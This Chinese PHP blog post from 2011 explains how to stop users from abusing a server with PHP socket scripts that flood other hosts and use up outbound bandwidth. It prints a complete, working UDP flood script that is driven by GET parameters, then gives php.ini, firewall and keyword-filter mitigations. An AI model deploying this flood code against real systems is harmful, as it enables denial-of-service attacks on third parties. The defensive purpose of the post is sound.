防止用户利用PHP代码DOS造成用光网络带宽


Posted in PHP onMarch 01, 2011

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand 
\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= \"X\"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; 
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
PHP 相关文章推荐
用php和MySql来与ODBC数据连接
Oct 09 PHP
FCKeditor添加自定义按钮
Mar 27 PHP
php中cookie的作用域
Mar 27 PHP
php下尝试使用GraphicsMagick的缩略图功能
Jan 01 PHP
PHP的5个安全措施小结
Jul 17 PHP
基于php使用memcache存储session的详解
Jun 25 PHP
php使用filter过滤器验证邮箱 ipv6地址 url验证
Dec 25 PHP
php实现的单一入口应用程序实例分析
Sep 23 PHP
CodeIgniter视图使用注意事项
Jan 20 PHP
PHP实现的oracle分页函数实例
Jan 25 PHP
PHP编程文件处理类SplFileObject和SplFileInfo用法实例分析
Jul 22 PHP
ThinkPHP5.0多个文件上传后找不到临时文件的修改方法
Jul 30 PHP
php Smarty 字符比较代码
Feb 27 #PHP
php下批量挂马和批量清马代码
Feb 27 #PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
You might like
DOM XPATH获取img src值的query
2013/09/23 PHP
php利用scws实现mysql全文搜索功能的方法
2014/12/25 PHP
使用ThinkPHP的自动完成实现无限级分类实例详解
2016/09/02 PHP
Zend Framework校验器Zend_Validate用法详解
2016/12/09 PHP
php使用lua+redis实现限流,计数器模式,令牌桶模式
2019/04/04 PHP
ThinkPHP 5.x远程命令执行漏洞复现
2019/09/23 PHP
Javascript学习笔记1 数据类型
2010/01/11 Javascript
25个优雅的jQuery Tooltip插件推荐
2011/05/25 Javascript
使用GruntJS构建Web程序之合并压缩篇
2014/06/06 Javascript
javascript常用的方法分享
2015/07/01 Javascript
jquery仅用6行代码实现滑动门效果
2015/09/07 Javascript
angular实现spa单页面应用实例
2017/07/10 Javascript
解决vue 中 echart 在子组件中只显示一次的问题
2018/08/07 Javascript
浅析微信扫码登录原理(小结)
2018/10/29 Javascript
jQuery实现的五星点评功能【案例】
2019/02/18 jQuery
python通过ElementTree操作XML获取结点读取属性美化XML
2013/12/02 Python
python连接mysql调用存储过程示例
2014/03/05 Python
Python实用技巧之列表、字典、集合中根据条件筛选数据详解
2018/07/11 Python
python虚拟环境迁移方法
2019/01/03 Python
python实现矩阵打印
2019/03/02 Python
python简单实现矩阵的乘,加,转置和逆运算示例
2019/07/10 Python
PyQt5中多线程模块QThread使用方法的实现
2020/01/31 Python
Pycharm中使用git进行合作开发的教程详解
2020/11/17 Python
python3 通过 pybind11 使用Eigen加速代码的步骤详解
2020/12/07 Python
英国剑桥包中文官网:The Cambridge Satchel Company中国
2018/11/06 全球购物
探索欧洲最好的品牌:Bombinate
2019/06/14 全球购物
英国顶级足球鞋的领先零售商:Lovell Soccer
2019/08/27 全球购物
事业单位请假制度
2014/01/13 职场文书
培训自我鉴定
2014/01/31 职场文书
《有趣的发现》教学反思
2014/04/15 职场文书
八一建军节营销活动方案
2014/08/31 职场文书
安全生产月宣传标语
2014/10/06 职场文书
2014年社区宣传工作总结
2014/12/02 职场文书
五年级上册复习计划
2015/01/19 职场文书
创业计划书之儿童理发店
2019/09/27 职场文书
Python 发送SMTP邮件的简单教程
2021/06/24 Python